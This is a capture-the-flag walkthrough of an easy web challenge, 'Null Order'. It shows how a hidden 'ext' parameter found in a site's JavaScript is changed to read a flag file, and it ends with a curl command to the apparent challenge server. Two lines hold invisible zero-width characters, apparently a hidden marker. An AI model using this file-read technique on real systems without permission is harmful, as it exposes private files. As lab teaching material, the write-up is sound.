Нулевой заказ (Null Order)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Arbitrary File Read via extension parameter manipulation, Client-side JavaScript analysis for hidden parameters

Summary

Walkthrough of the CUSTOM Web Нулевой заказ (Null Order). Task: Order Manager web app with hidden API parameters in JavaScript. Solution: Analyzed JS code to find ext parameter, changed file extension from .order to .txt to read flag file via Arbitrary File

Description

У такой крупной компании заметно низкая активность заказов. Может они показывают на странице не всю информацию?

Analysis

Step 1: Exploring the Main Page

Opening the main page — we see an Order Manager with a table of orders.

Step 2: JavaScript Analysis

In the file /static/js/main.js we find the refreshOrders() function:

 javascript read-only • copy allowed Copy
function refreshOrders() {
    fetch('/index.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: 'ext=.order'
    })
    .then(response => response.text())
    .then(data => {
        // update orders table
    });
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The function makes a POST request with the parameter ext=.order — the server reads files with the specified extension.

Step 3: Exploitation

Changing the extension to .txt — the server returns the contents of the file with the flag!

Vulnerability

Arbitrary File Read (LFI) — the server reads files with the user-specified extension without any validation. By changing .order to .txt, we get the contents of the file with the flag.

Solution

 bash read-only • copy allowed Copy
curl -s -X POST http://62.173.140.174:16028/index.php -d "ext=.txt"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering Arbitrary File Read via extension parameter manipulation, Client-side JavaScript analysis for hidden parameters was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2025-12-24 • CUSTOM • Нулевой заказ (Null Order) • Difficulty: Easy